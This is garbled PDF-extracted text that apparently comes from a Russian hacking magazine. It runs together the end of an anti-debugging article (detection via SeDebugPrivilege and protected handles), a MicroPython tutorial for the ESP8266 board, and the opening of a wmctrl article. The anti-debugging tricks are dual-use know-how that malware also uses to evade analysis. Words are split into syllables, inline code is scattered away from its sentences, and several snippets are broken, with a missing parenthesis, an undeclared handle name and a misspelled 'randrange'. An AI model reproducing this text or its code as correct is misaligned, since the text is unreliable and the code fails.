в отдель ном невиди мом для отладчи ка тре де.

next()

SEDEBUGPRIVILEGE
Один из приз наков отладки при ложе ния — получе ние при ложе нием при виле‐ 
гии  .  Что бы  понять,  есть  ли  такая  при виле гия  у  нашего
про цес са,  мож но,  нап ример,  попытать ся  открыть  какой‐нибудь  сис темный
про цесс. По тра диции про буем открыть csrss.exe. Для это го исполь зуем фун‐ 
кцию  WinAPI    с  парамет ром  .  Вот
как  реали зует ся  этот  метод  (в  перемен ной    находит ся  ID
csrss.exe):

SeDebugPrivilege

OpenProcess PROCESS_ALL_ACCESS
Id_From_csrss

HANDLE hDebug = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Id_From_csrss)
;
if hDebug != NULL) std::cout << "Debugger detected!\n";

SETHANDLEINFORMATION
Фун кция    при меня ется  для  уста нов ки  свой ств  дес‐ 
крип тора  объ ектов,  на  который  ука зыва ет  .  Про тотип  фун кции  выг‐ 
лядит сле дующим обра зом:

SetHandleInformation
hObject

BOOL SetHandleInformation(
 HANDLE hObject,
 DWORD dwMask,
 DWORD dwFlags

);

Ти пы объ ектов раз личны — нап ример, это может быть задание, отоб ражение
фай ла  или  мьютекс.  Мы  можем  этим  вос поль зовать ся:  соз дадим  мьютекс
с  фла гом    и  поп робу ем  его  зак рыть,
попут но  пыта ясь  пой мать  исклю чение.  Если  исклю чение  будет  пой мано,  то
про цесс отла жива ется.

HANDLE_FLAG_PROTECT_FROM_CLOSE

HANDLE hMyMutex = CreateMutex(NULL, FALSE, _T("MyMutex"));
SetHandleInformation(hMyMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, HANDLE
_FLAG_PROTECT_FROM_CLOSE);
__try {
CloseHandle(hMutex);
}
__except (HANDLE_FLAG_PROTECT_FROM_CLOSE) {
   std::cout << "Debugger detected!\n";
}

ЗАКЛЮЧЕНИЕ
Мы рас смот рели нес коль ко спо собов защиты при ложе ния от отладки. Я ста‐ 
рал ся  показать  раз ные  методы  отладки  и  рас ска зать,  как  они  работа ют
на низ ком уров не. Что бы луч ше раз бирать ся в том, что про исхо дит, ты дол жен
понимать,  как  работа ет  ОС,  как  при ложе ние  вза имо дей ству ет  с  раз ными
струк турами  окру жения  потока  и  про цес са.  Наде юсь,  моя  статья  поможет
тебе в этом и научит более эффектив но защищать при ложе ния от любопыт‐ 
ных ревер серов и авто мати чес ких сис тем рас паков ки и ана лиза.
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КОДИНГ

Шут ники  говорят,  что пос ле  тру дово го дня за  компь юте ром
типич ный  прог раммист  едет  домой,  садит ся  за  ПК  и  таким
обра зом отды хает. А ведь исти на на самом деле куда ужас‐ 
нее этой шут ки: мно гие из нас, при ходя с работы, пос вяща ют
оставше еся  до  сна  вре мя...  прог рамми рова нию  мик рокон‐ 
трол леров.  :)  Обы вате лям  не  понять,  но  Arduino,  Teensy
или ESP — дей стви тель но очень неп лохое хоб би. Их единс‐ 
твен ный  недос таток  —  необ ходимость  прог рамми ровать
на дос таточ но низ ком уров не, если не на Assembler, то на Ar‐
duino C или Lua. Но теперь в спис ке ЯП для мик рокон трол‐ 
леров появил ся Python. Точ нее, MicroPython. В этой статье я
пос тара юсь  мак сималь но  про демонс три ровать  его  воз‐ 
можнос ти.

С ЧЕГО ВСЕ НАЧАЛОСЬ?
Все  началось  с  кам пании  на  Kickstarter.  Дэмь ен  Джордж  (Damien  George),
раз работ чик  из  Англии,  спро екти ровал  мик рокон трол лерную  пла ту,  пред‐ 
назна чен ную спе циаль но для Python. И  кам пания «выс тре лила». Изна чаль но
была  заяв лена  сум ма  в  15  тысяч  фун тов  стер лингов,  но  в  резуль тате  было
соб рано в шесть с полови ной раз боль ше — 97 803 фун та стер лингов.

А ЧЕМ ЭТА ПЛАТА ЛУЧШЕ?
Ав тор  про екта  при водил  целый  ряд  пре иму ществ  сво ей  плат формы  в  срав‐ 
нении с Raspberry Pi и Arduino:
• Мощ ность  —  MP  мощ нее  в  срав нении  с  мик рокон трол лером  Arduino,
здесь  исполь зуют ся  32‐раз рядные  ARM‐про цес соры  типа  STM32F405
(168 МГц Cortex‐M4, 1 Мбайт флеш‐памяти, 192 Кбайт ОЗУ).

• Прос тота в исполь зовании — язык MicroPython осно ван на Python, но нес‐ 
коль ко  упро щен,  для  того  что бы  коман ды  по  управле нию  дат чиками
и мотора ми мож но было писать бук валь но в нес коль ко строк.

• От сутс твие ком пилято ра — что бы запус тить прог рамму на плат форме Mi‐
croPython, нет необ ходимос ти уста нав ливать на компь ютер допол нитель‐ 
ное  ПО.  Пла та  опре деля ется  ПК  как  обыч ный  USB‐накопи тель  —  сто ит
закинуть на него тек сто вый файл с кодом и перезаг рузить, прог рамма тут
же  нач нет  исполнять ся.  Для  удобс тва  все‐таки  мож но  уста новить  на  ПК
эму лятор тер минала, который дает воз можность впи сывать эле мен ты кода
с  компь юте ра  непос редс твен но  на  плат форму.  Если  исполь зовать  его,
тебе  даже  не  при дет ся  перезаг ружать  пла ту  для  про вер ки  прог раммы,
каж дая стро ка будет тут же исполнять ся мик рокон трол лером.

• Низ кая сто имость — в срав нении с Raspberry Pi плат форма PyBoard нес‐ 
коль ко дешев ле и, как следс твие, дос тупнее.

• От кры тая  плат форма —  так  же  как  и  Arduino,  PyBoard —  откры тая  плат‐ 
форма,  все схе мы будут  находить ся  в откры том дос тупе,  что под разуме‐ 
вает  воз можность  спро екти ровать  и  соз дать  подоб ную  пла ту  самому
в зависи мос ти от пот ребнос тей.

И ЧТО, ТОЛЬКО ОФИЦИАЛЬНАЯ ПЛАТА?
Нет.  При  всех  сво их  дос тоинс твах  PyBoard  (так  называ ется  пла та  от  раз‐ 
работ чика  MicroPython)  —  доволь но  дорогое  удо воль ствие.  Но  бла года ря
откры той  плат форме на мно гих  популяр ных  пла тах  уже мож но  запус тить Mi‐
croPython, соб ранный спе циаль но для нее. В дан ный момент сущес тву ют вер‐ 
сии:

для  BBC  micro:bit  —  бри тан ская  раз работ ка,  позици они рует ся  как  офи‐ 
циаль ное учеб ное пособие для уро ков информа тики;

•

Circuit  Playground  Express  —  раз работ ка  извес тной  ком пании  Adafruit.
Это  пла та,  вклю чающая  в  себя  све тоди оды,  дат чики,  пины  и  кноп ки.
По  умол чанию  прог рамми рует ся  с  помощью  Microsoft  MakeCode  for
Adafruit. Это блоч ный (похожий на Scratch) редак тор «кода»;

•

ESP8266/ESP32 — одна из самых популяр ных плат для IoT‐раз работ ки. Ее
мож но было прог рамми ровать на Arduino C и Lua. А сегод ня мы поп робу‐ 
ем уста новить на нее MicroPython.

•

Пла та ESP8266

ПОДГОТОВКА К РАБОТЕ
Пе ред тем как писать прог раммы, нуж но нас тро ить пла ту, уста новить на нее
про шив ку, а так же уста новить на компь ютер необ ходимые прог раммы.

INFO

Все  при меры  про веря лись  и  тес тирова лись
на сле дующем обо рудо вании:
пла та NodeMCU ESP8266‐12E;•
драй вер моторов L293D;•
I2C‐дис плей 0,96″ 128 × 64;•
Adafruit NeoPixel Ring 16.•

Про шив ка кон трол лера
Для про шив ки пла ты нам понадо бит ся Python. Точ нее, даже не он сам, а ути‐ 
лита  esptool,  рас простра няемая  с  помощью  pip.  Если  у  тебя  уста нов лен
Python  (неваж но,  какой  вер сии),  открой  тер минал  (коман дную  стро ку)
и набери:

pip install esptool

Пос ле  уста нов ки  esptool  надо  сде лать  две  вещи.  Пер вое —  ска чать  с 
  вер сию  про шив ки  для  ESP8266.  И  вто рое  —  опре делить

адрес пла ты при под клю чении к компь юте ру. Самый прос той спо соб — под‐ 
клю чить ся  к  компь юте ру,  открыть  Arduino  IDE  и  пос мотреть  адрес  в  спис ке
пор тов.

офи‐ 
циаль ного  сай та

Для облегче ния вос при ятия адрес пла ты в при мере будет  ,
а файл про шив ки пере име нован в   и лежит на рабочем сто ле.

/dev/ttyUSB0
esp8266.bin

От кры ваем тер минал (коман дную стро ку) и перехо дим на рабочий стол:

cd Desktop

Фор матиру ем флеш‐память пла ты:

esptool.py ‐‐port /dev/ttyUSB0 erase_flash 

Ес ли при фор матиро вании воз никли ошиб ки,  зна чит, нуж но вклю чить режим
про шив ки вруч ную. Зажима ем на пла те кноп ки reset и flash. Затем отпуска ем
reset и, не отпуская flash, пыта емся отформа тиро вать ся еще раз.

И заг ружа ем про шив ку на пла ту:

esptool.py ‐‐port /dev/ttyUSB0 ‐‐baud 460800 write_flash ‐‐flash_size
=detect 0 esp8266.bin

ВЗАИМОДЕЙСТВИЕ С ПЛАТОЙ
Все вза имо дей ствие с пла той может про исхо дить нес коль кими спо соба ми:

че рез Serial‐порт;•
че рез web‐интер пре татор.•

При под клю чении через Serial‐порт поль зователь в сво ем тер минале (в сво ей
коман дной стро ке) видит прак тичес ки обыч ный интер пре татор Python.

Под клю чение через SerialPort

Для  под клю чения  по  Serial  есть  раз ные  прог раммы.  Для  Windows  мож но
исполь зовать PuTTY или TeraTerm. Для Linux — picocom или minicom. В качес‐ 
тве кросс‐плат формен ного решения мож но исполь зовать монитор пор та Ar‐
duino IDE. Глав ное — пра виль но опре делить порт и ука зать ско рость переда‐ 
чи дан ных 115200.

picocom /dev/ttyUSB0 ‐b115200

Кро ме  это го,  уже  соз дано  и  выложе но  на  GitHub  нес коль ко  прог рамм,
облегча ющих  раз работ ку,  нап ример  EsPy.  Кро ме  Serial‐пор та,  он  вклю чает
в себя редак тор Python‐фай лов с под свет кой син такси са, а так же фай ловый
менед жер, поз воля ющий ска чивать и заг ружать фай лы на ESP.

EsPy IDE

Но  все  перечис ленные  спо собы  хороши  лишь  тог да,  ког да  у  нас  есть  воз‐ 
можность нап рямую под клю чить ся к устрой ству с помощью кабеля. Но пла та
может быть интегри рова на в какое‐либо устрой ство, и раз бирать его толь ко
для того, что бы обно вить прог рамму, как‐то неоп тималь но. Навер ное, имен‐ 
но  для  таких  слу чаев  и  был  соз дан  WebREPL.  Это  спо соб  вза имо дей ствия
с пла той через бра узер с любого устрой ства, находя щего ся в той же локаль‐ 
ной сети, если у пла ты нет ста тичес кого IP, и с любого компь юте ра, если такой
IP при сутс тву ет. Давай нас тро им WebREPL. Для  это го  необ ходимо,  под клю‐ 
чив шись к пла те, наб рать

import webrepl_setup

По явит ся  сооб щение  о  ста тусе  авто запус ка  WebREPL  и  воп рос,  вклю чить
или вык лючить его авто запуск.

WebREPL daemon auto‐start status: enabled
Would you like to (E)nable or (D)isable it running on boot?
(Empty line to quit)
>

Пос ле вво да q появ ляет ся сооб щение о выс тавле нии пароля дос тупа:

To enable WebREPL, you must set password for it
New password (4‐9 chars):   

Вво дим его, а затем под твержда ем. Теперь пос ле перезаг рузки мы смо жем
под клю чить ся к пла те по Wi‐Fi.

Так  как  мы  не  нас тро или  под клю чение  пла ты  к  Wi‐Fi‐сети,  она  работа ет
в  качес тве  точ ки  дос тупа.  Имя  Wi‐Fi‐сeти  —  MicroPython‐******,  где  звез‐ 
дочка ми  я  заменил  часть MAC‐адре са.  Под клю чаем ся  к  ней  (пароль — 

).
mi‐

cropythoN
От кры ваем    и  нажима ем  на  Connect.  Пос ле  вво да  пароля  мы

попада ем в тот же интерфейс, что и при пря мом под клю чении. Кро ме это го,
в WebREPL есть интерфейс для заг рузки фай лов на пла ту и ска чива ния фай‐ 
лов на компь ютер.

WebREPL

WebRERL

INFO

Сре ди фай лов, заг ружен ных на пла ту, есть стан‐ 
дар тные:

 — скрипт, который заг ружа ется пер‐ 
вым  при  вклю чении  пла ты.  Обыч но  в  него
встав ляют  фун кции  для  ини циали зации
модулей,  под клю чения  к  Wi‐Fi  и  запус ка
WebREPL;

•boot.py

  —  основной  скрипт,  который  запус‐ 
кает ся  сра зу  пос ле  выпол нения  ,
в него записы вает ся основная прог рамма.

•main.py
boot.py

НАЧИНАЕМ РАЗРАБОТКУ
Hello world
При нято, что пер вой написан ной на новом язы ке прог рамми рова ния дол жна
быть  прог рамма,  выводя щая  Hello  world.  Не  будем  отхо дить  от  тра диции
и выведем это сооб щение с помощью азбу ки Мор зе.

import machine
import time
pin = machine.Pin(2,machine.Pin.OUT)
def dot_show():
   pin.off()
   time.sleep(1)
   pin.on()
def dash_show():
   pin.off()
   time.sleep(2)
   pin.on()
Hello_world = '**** * *‐** *‐** ‐‐‐    *‐‐ ‐‐‐ *‐* *‐** ‐**'
for i in Hello_world:
   if i=="*":
       dot_show()
   elif i=='‐':
       dash_show()
   else:
       time.sleep(3)
   time.sleep(0.5)

Итак,  что  же  про исхо дит?  Сна чала  под клю чают ся  биб лиоте ки:  стан дар тная
Python‐биб лиоте ка  time  и  спе циали зиро ван ная  machine.  Эта  биб лиоте ка
отве чает  за  вза имо дей ствие  с  GPIO.  Стан дар тный  встро енный  све тоди од
рас полага ется на вто ром пине. Под клю чаем его и ука зыва ем, что он работа ет
на выход. Если бы  у нас был под клю чен  какой‐нибудь дат чик,  то мы бы  ука‐ 
зали режим работы IN.

Сле дующие  две фун кции  отве чают  за  вклю чение  и  вык лючение  све тоди‐ 
ода на опре делен ный интервал вре мени. Навер ное, инте рес но, почему я сна‐ 
чала  вык лючаю  све тоди од,  а  потом  вклю чаю?  Мне  тоже  очень  инте рес но,
почему  сиг нал  для  дан ного  све тоди ода  инверти рован...  Оста вим  это  на
совес ти китай ских сбор щиков. На самом деле коман да    вклю чает
све тоди од, а   — отклю чает.

pin.off()
pin.on()

Ну а даль ше все прос то: заносим в перемен ную Hello_world нашу строч ку,
записан ную кодом Мор зе, и, про бега ясь по ней, вызыва ем ту или иную фун‐ 
кцию.

Продолжение статьи →
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Ра дуж ный мир
Од на из стан дар тных биб лиотек, пос тавля емых с MicroPython, — биб лиоте ка
NeoPixel. Она исполь зует ся для работы с RGB‐све тоди ода ми, выпус каемы ми
ком пани ей  Adafruit.  Для  под клю чения  нуж но  три  пина.  Один —  зем ля,  вто‐ 
рой — питание (3,3 В), а тре тий необ ходим для управле ния. У меня это GPI‐
O4, а ты можешь выб рать любой.

Схе ма под клю чения NeoPixel

import machine, neopixel,time,urandom
my_neopixel_ring = neopixel.NeoPixel(machine.Pin(4), 16)
def color_all(neopixel_ring, color):
   for i in range(neopixel_ring.n):
       neopixel_ring[i] = color
   neopixel_ring.write()
def color_all_slow(neopixel_ring, color):
   for i in range(neopixel_ring.n):
       neopixel_ring[i] = color
       neopixel_ring.write()
       time.sleep(0.5)
def color_random(neopixel_ring):
   for i in range(neopixel_ring.n):
       color =  (urandom.getrandbits(8),urandom.getrandbits(8),
urandom.getrandbits(8))
       neopixel_ring[i] = color
   neopixel_ring.write()
def disable(neopixel_ring):
   for i in range(neopixel_ring.n):
       neopixel_ring[i] = (0,0,0)
   neopixel_ring.write()
def show(neopixel_ring):
   RAINBOW_COLORS = [(255,0,0),(255, 128, 0),(255,255,0),(0,255,0),(
0,255,255),(0,0,255), (255,0,255)]
   for i in RAINBOW_COLORS:
       color_all(neopixel_ring,i)
       time.sleep(0.5)
   time.sleep(5)
   disable(neopixel_ring)
   for i in RAINBOW_COLORS:
       color_all_slow(neopixel_ring,i)
       time.sleep(0.5)
   for i in range(100):
       color_random(neopixel_ring)
       time.sleep(0.5)
   disable(neopixel_ring)

Ух, сколь ко здесь все го! Нач нем с под клю чения. Для соз дания объ екта типа
NeoPixel  нуж но  ука зать два парамет ра: пин и  количес тво све тоди одов. Све‐ 
тоди оды  в  NeoPixel  адресные,  и  мож но  под клю чать  мно го  модулей  пос‐ 
ледова тель но.  По  сути,  это  мас сив,  в  каж дом  эле мен те  которо го  хра нит ся
кор теж опре делен ного фор мата (RGB).

Фун кция    окра шива ет  все  све тоди оды  в  один  цвет.  При чем
для визу аль ного наб людате ля это про исхо дит «мгно вен но», а вот в фун кции

  вклю чение  будет  про исхо дить  по  одно му  све тоди оду
с  задер жкой  в  пол секун ды.  Это  зависит  от  того,  ког да  вызыва ется фун кция

. Имен но она отве чает за «про явле ние» цве та.

color_all

color_all_slow

write()
Сле дующая  фун кция,  ,  окра шива ет  все  све тоди оды  в  раз‐ 

ные  слу чай ные  цве та.  Имен но  здесь  замет но  отли чие  от  вер сии  Python,
запус каемой  на  компь юте ре.  Как  бы  мы  сге нери рова ли  слу чай ный  кор теж
на компь юте ре:

color_random

import random
color = (random.randrage(256),random.randrage(256),random.randrage(
256))

Но  здесь  нет  модуля  random.  Зато  есть  urandom.  C  помощью фун кции 
  мож но  получить  слу чай ный  набор  бит  опре делен ной  дли ны,  то

есть  слу чай ное  чис ло  в  диапа зоне  от  нуля  до  двой ки  в  какой‐то  сте пени.
В дан ном слу чае — до вось ми.

ge‐
trandbits

Для  того  что бы  вык лючить  све тоди од,  необ ходимо  задать  ему цвет,  рав‐ 
ный (0,0,0). Ой. А как же яркость? Ведь ког да цвет зада ется с помощью RGB,
обыч но при сутс тву ет такой параметр, как яркость (проз рачность). Здесь она
зада ется с помощью обык новен ной матема тики:

(255,255,255) — белый на мак сималь ной яркости;•
(128,128,128) — белый с яркостью 50%;•
(64,64,64) — белый с яркостью 25%.•

Фун кция   — это прос то демонс тра цион ная фун кция,  в  которой показы‐ 
вает ся, как работа ют уже разоб ранные фун кции.

show

Мо нитор. Рисова ние, пись мо и кал лигра фия
Очень час то неохо та лезть на устрой ство, что бы пос мотреть какие‐то дан ные.
Зна чит, их нуж но куда‐то выводить. Нап ример, на экран. :)

from ssd1306 import SSD1306_I2C
import machine
from writer import Writer
import freesans20
import time
WIDTH = const(128)
HEIGHT = const(64)
pscl = machine.Pin(4, machine.Pin.OUT)
psda = machine.Pin(5, machine.Pin.OUT)
i2c = machine.I2C(scl=pscl, sda=psda)
ssd = SSD1306_I2C(WIDTH, HEIGHT, i2c, 0x3c)
ssd.fill(1)
ssd.show()
time.sleep(0.5)
ssd.fill(0)
ssd.show()
ssd.line(40, 0, 40, HEIGHT, 1)
square_side = 40
ssd.fill_rect(0, 0, square_side, square_side, 1)
ssd.text('Hello', 50, 10)
wri2 = Writer(ssd, freesans20, verbose=False) 
Writer.set_clip(True, True)
Writer.set_textpos(32, 64)
wri2.printstring('][akep\n')
ssd.show()

Для  работы  с  монито ром  необ ходима  биб лиоте ка  ssd1306,  ее  мож но  заг‐ 
рузить  с  .  Для  под клю чения  по  про токо лу  I2C  нам  необ ходимо  два
пина, исполь зуем GPIO4 как scl, а GPIO5 как sda. Ини циали зиру ем  I2C‐под‐ 
клю чение.  Для  про вер ки  пос ле  ини циали зации  перемен ной  i2c  мож но  выз‐ 
вать фун кцию  . Если  ты все пра виль но под клю чил,  то  в  качес тве
резуль тата будет спи сок вида  . Это номер I2C‐пор та. Если уви дел пус той
спи сок  —  зна чит,  какая‐то  проб лема  с  под клю чени ем.  Что  мож но  сде лать
с экра ном?

GitHub

i2c.scan()
[60]

За пол нить  одним  цве том:  белым —    или  чер ным — 
.

• ssd.fill(1) ssd.

fill(0)

Об новить изоб ражение на экра не —  .• ssd.show()

На рисо вать линию  (x0,y0,x1,y1)  тол щиной  t — 
.

• ssd.line(x0,y0,x1,y1,

t)

На рисо вать  пик сель  задан ного  цве та  по  коор динатам — 
.

• ssd.pixel(x,

y,c)

На рисо вать  пря моуголь ник,  задава емый началь ной  точ кой,  дли нами сто‐ 
рон и цве том —  .

•
ssd.fill_rect(x0, y0, lenth, width, color)

Сде лать над пись стан дар тным шриф том —  .• ssd.text('', x0, y0)

Но у стан дар тно го шриф та есть свои недос татки, поэто му на   уже мож‐ 
но най ти спо соб соз давать и исполь зовать свои шриф ты. Для это го надо соз‐ 
дать  свой  шрифт  с  помощью  ,  заг рузить  соз данный  шрифт
и  модуль  Writer  на  устрой ство  и  исполь зовать,  как  про демонс три рова но
в при мере.

GitHub

font‐to‐py.py

Нас тра иваем Wi-Fi и управля ем через сайт
Дей стви тель но, каж дый раз под клю чать ся к локаль ной сети пла ты неудоб но.
Но мож но нас тро ить пла ту так, что бы она под клю чалась к уже соз данной Wi‐
Fi‐сети.

import network
sta_if = network.WLAN(network.STA_IF)
sta_if.active(True)
sta_if.connect('<your ESSID>', '<your password>')
sta_if.isconnected() ## True
sta_if.ifconfig() ##('192.168.0.2', '255.255.255.0', '192.168.0.1', 
'8.8.8.8')

Здесь  показа но,  как  под клю чить ся  к  задан ной Wi‐Fi‐сети  путем  пос ледова‐ 
тель ного  выпол нения  команд.  Но  ведь  это  очень  монотон но.  Офи циаль ное
руководс тво совету ет добавить сле дующую фун кцию в файл boot.py:

def do_connect():
   import network
   sta_if = network.WLAN(network.STA_IF)
   if not sta_if.isconnected():
       print('connecting to network...')
       sta_if.active(True)
       sta_if.connect('<essid>', '<password>')
       while not sta_if.isconnected():
           pass
   print('network config:', sta_if.ifconfig())

От лично. Мы под клю чили нашу пла ту к интерне ту. Давай поп робу ем управлять
све тоди одом  с  помощью  обыч ного  сай та.  Нам  не  понадо бят ся  никакие
модули вро де Flask или Djano. Толь ко socket. Толь ко хар дкор.

import socket
import machine
html = """<!DOCTYPE html>
<html>
<head> <title> ESP8266 Controller </title> </head>
<form>
<H1>ESP8266 Controller</H1>
<button name="LED" value="ON" type="submit">ON</button><br>
<button name="LED" value="OFF" type="submit">OFF</button>
</form>
</html>
"""
pin = machine.Pin(2, machine.Pin.OUT)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 80))
s.listen(5)
while True:
   conn, addr = s.accept()
   print("Connected with " + str(addr))
   request = conn.recv(1024)
   request = str(request)
   LEDON = request.find('/?LED=ON')
   LEDOFF = request.find('/?LED=OFF')
   if LEDON == 6:
       print('TURN LED0 ON')
       pin.off()
   if LEDOFF == 6:
       print('TURN LED0 OFF')
       pin.on()
   response = html
   conn.send(response)
   conn.close()

В начале записан HTML‐код стра нич ки. Там две кноп ки — одна на вклю чение,
дру гая на вык лючение. По сути, они прос то соз дают и отправ ляют POST‐зап‐ 
росы на сер вер.

Пос ле опи сания сай та опять под клю чаем встро енный све тоди од, а затем
соз даем  сер вер.  Задача  сер вера  —  отлавли вать  зап росы  и,  если  в  них
попада ются  коман ды  на  вклю чение/вык лючение  све тоди ода,  обра баты вать
их.

Уп равле ние мотора ми
Мне кажет ся,  что машин ка на ради оуп равле нии была, есть или будет  у  всех
(на  этом  момен те  все,  кто  родил ся  в  начале  вось мидеся тых  и  рань ше,
начина ют сма хивать сле зин ки — ведь пре делом их меч таний был шага ющий
луноход без ради оуп равле ния. ;) — Прим. ред.). И мно гие начина ют свой путь
в DIY с соз дания такой игрушки. Это нас толь ко популяр ное дело, что уже дав‐ 
но в про даже появи лись целые наборы, вклю чающие в себя колес ную плат‐ 
форму  с  креп лени ями  под  раз личные  пла ты.  Поп робу ем  соз дать  машин ку,
управля емую с помощью WebREPL.

Драй вер моторов L293D

from machine import Pin, PWM
pin1 = Pin(5, Pin.OUT)  # D1
pin2 = Pin(4, Pin.OUT)  # D2
pin3 = Pin(0, Pin.OUT)  # D3
pin4 = Pin(2, Pin.OUT)  # D4
BIN1 = PWM(pin1, freq=750)
BIN2 = PWM(pin3, freq=750)
AIN1 = PWM(pin2, freq=750)
AIN2 = PWM(pin4, freq=750)
speed = 700 
def stop_all():
   for each in (BIN1, BIN2, AIN1, AIN2):
       each.duty(0)
def B(tmp1,tmp2):
   BIN1.duty(tmp1)
   BIN2.duty(tmp2)
def A(tmp1,tmp2):
   AIN1.duty(tmp1)
   AIN2.duty(tmp2)
def forward():
   B(speed,0)
   A(speed,speed)
def backward():
   B(speed,speed)
   A(speed,0)
def left():
   B(speed,0)
   A(speed,0)
def right():
   B(speed,speed)
   A(speed,speed)
commands = {'w':forward,'s':backward,'a':left,'d':right,'s':stop_all}
while True:
   a = input().lower()
   try:
       commands[a]()
   except:
       pass

Ин терес ная осо бен ность дан ного кода в том, что мы сна чала под клю чаем ся
к пинам, а затем уже на этих пинах соз даем PWM‐под клю чение к моторам.

Ин тернет вещей
Как‐то нелов ко выш ло... ESP8266 позици они рует ся как пла та для раз работ ки
в  сфе ре  IoT,  а  мы  пока  ничего  не  сде лали. Одно  из  базовых  понятий  IoT —
MQTT‐про токол. Что бы не тра тить вре мя на нас трой ку сво его MQTT‐сер вера,
вос поль зуем ся плат формой  . А биб лиоте ка для работы с этим про‐ 
токо лом уже вклю чена в сбор ку MicroPython и называ ется umqtt.

Adafruit IO

Пе ред  непос редс твен но  прог рамми рова нием  необ ходимо  нас тро ить
Adafruit  IO.  Регис три руем ся,  соз даем  новый  feed  и  называ ем  его 

. Затем соз даем новый Dashboard и добав ляем на него кноп ку‐перек‐ 
лючатель.  При  добав лении  сле дует  ука зать  имя  соз данно го  нами  feed’a.
Для под клю чения нам необ ходимо имя акка унта и так называ емый Active Key.

enable‐
field

import network
from umqtt.simple import MQTTClient 
import machine
pin = machine.Pin(2, machine.Pin.OUT)
def sub_cb(topic, msg): 
  print(msg)
  if msg == b'ON':
     pin.off()
  elif msg == b'OFF':
     pin.on()
sta_if = network.WLAN(network.STA_IF)
sta_if.active(True)
sta_if.connect('<SSID>', '<PASSWORD>')
client = MQTTClient("my_device", "io.adafruit.com",user="<USER_LOGIN>
", password="<API‐KEY>", port=1883) 
client.set_callback(sub_cb) 
client.connect()
client.subscribe(topic="<USER_LOGIN>/feeds/<FEEDNAME>") 
while True: 
   client.wait_msg()

Для  работы  с  внеш ним  MQTT‐сер вером  необ ходимо  под клю чение  к  Wi‐Fi‐
сети с дос тупом в интернет. Фун кция   отве чает за то, что
про исхо дит, если в задан ный топик при ходит сооб щение. Пос ле под клю чения
к  Wi‐Fi  соз дает ся  под клю чение  к  MQTT‐сер веру.  Опи сыва ются  топики,
на  которые  под писан  кли ент,  и  запус кает ся  бес конеч ное  ожи дание  сооб‐ 
щений в топике.

sub_cb(topic, msg)

ЗАКЛЮЧЕНИЕ
MicroPython  —  очень  молодой  про ект,  но  он  уже  дос таточ но  популя рен
и  даже  попал  в  спи сок  .
И мне кажет ся,  что это  толь ко начало, ведь на GitHub уже немало про ектов,
написан ных на MicroPython, а Adafruit даже раз работа ла свою вер сию, пред‐ 
назна чен ную для обу чения, — CircuitPython.

30  Amazing  Python  Projects  for  the  Past  Year  (v.2018)

WWW

•Офи циаль ная  докумен тация  по  MicroPython
для ESP8266

•Не дав но вышед шая кни га по MicroPython
•Опи сание работы с Adafruit IO

https://github.com/adafruit/micropython-adafruit-ssd1306
https://github.com/peterhinch/micropython-samples/tree/master/SSD1306
https://github.com/peterhinch/micropython-font-to-py
https://io.adafruit.com/
https://medium.mybridge.co/30-amazing-python-projects-for-the-past-year-v-2018-9c310b04cdb3
https://docs.micropython.org/en/latest/esp8266/esp8266/tutorial/
http://shop.oreilly.com/product/0636920056515.do
https://learn.adafruit.com/mqtt-adafruit-io-and-you/getting-started-on-adafruit-io


ДЕСКТОП
ПОД КОНТРОЛЕМ
УПРАВЛЯЕМ ГРАФИЧЕСКИМ СОФТОМ
ИЗ КОНСОЛИ И СКРИПТОВ

Илья Остапенко
ostapenko.public@gmail.com

UNIXOID

Linux‐сис темы  обла дают  очень  широки ми  воз можнос тями
для авто мати зации рутин ных дей ствий. В дру гих стать ях мы
уже  показа ли мас су  самых  раз нооб разных  и  стран ных  при‐ 
меров,  вклю чая  воз можность  управле ния  машиной
с  помощью  кален даря  Google.  Одна ко  мы  поч ти  никог да
не  говори ли  об  авто мати зации  и  скрип товании  гра фичес‐ 
кого  соф та.  А  ведь  во  мно гих  слу чаях  им  тоже  мож но
управлять из кон соли и скрип тов.

WMCTRL
Скрес тить мощь скрип тов и кра соту гра фики поможет  . С его помощью
мож но изме нять раз мер и рас положе ние окон на экра не, авто мати зиро вать
сме ну  рабочих  сто лов  или  исполь зовать  информа цию  об  откры тых  окнах
в дру гих скрип тах.

wmctrl

Ос новное пре иму щес тво wmctrl — пол ная незави симость от какого‐либо
окон ного менед жера. Он вза имо дей ству ет с окна ми пос редс твом про токо ла

, который под держи вают боль шинс тво окон ных менед жеров.EWMH/NetWM
Не буду  утом лять  тебя  рас ска зами о  воз можнос тях  ути литы  и  ее фла гах,

а  сра зу  покажу  при мер.  Все  зна ют  о  сущес тво вании  Yakuake  и  Tilda,  спе‐ 
циаль ных  эму лято ров  тер минала,  которые мож но  раз ворачи вать  и  сво рачи‐ 
вать нажати ем кла виши. С помощью wmctrl ты можешь наделить такими воз‐ 
можнос тями любой дру гой эму лятор тер минала (нап ример, Konsole из KDE).

#! /bin/bash
if [ `wmctrl ‐xl | grep ‐c Konsole` != 0 ]; then
   if [ ‐f /tmp/.Konsole.add ]; then
       wmctrl ‐r Konsole ‐b add,below
       rm /tmp/.Konsole.add
   else
       wmctrl ‐r Konsole ‐b add,above
       touch /tmp/.Konsole.add
   fi
else
   konsole
fi

Прос то  повесь  его  на  кла виатур ную  ком бинацию.  Пер вое  нажатие  запус тит
тер минал, а все пос леду ющие будут сво рачи вать/раз ворачи вать его.

Эму лятор тер минала не единс твен ное при мене ние wmctrl в рам ках пред‐ 
став ленно го выше скрип та. На самом деле вмес то Konsole мож но под ста вить
любую  прог рамму.  А  мож но  пой ти  даль ше  и  задей ство вать  в  сце нарии  два
окна, нап ример бра узер и мес сен джер, таким обра зом, что бы в опре делен‐ 
ный  момент  работы  в  интерне те  нажати ем  кла виш  мож но  было  зас тавить
бра узер  под винуть ся  и  осво бодить  мес то  под  мес сен джер  и  кинуть  взгляд
на сооб щения в чате.

Что бы  это го  добить ся,  сна чала  нуж но  опре делить  раз меры  окон  обо их
при ложе ний  в  каж дом  из  двух  тре бующих ся  сос тояний.  Дела ется  это  с
помощью коман ды    (перед  этим рас тяни/сож ми окна до  нуж ных
раз меров):

wmctrl ‐lG

$ wmctrl ‐lG
0x0500001b  0 0    55   1280 726  N/A Проект OpenNet ‐ QupZilla
0x03000005  0 900  55   380  693  N/A Telegram (6)
$ wmctrl ‐lG
0x0500001b  0 0    55   900  693  N/A Проект OpenNet ‐ QupZilla
0x03000005  0 900  55   380  693  N/A Telegram (6)

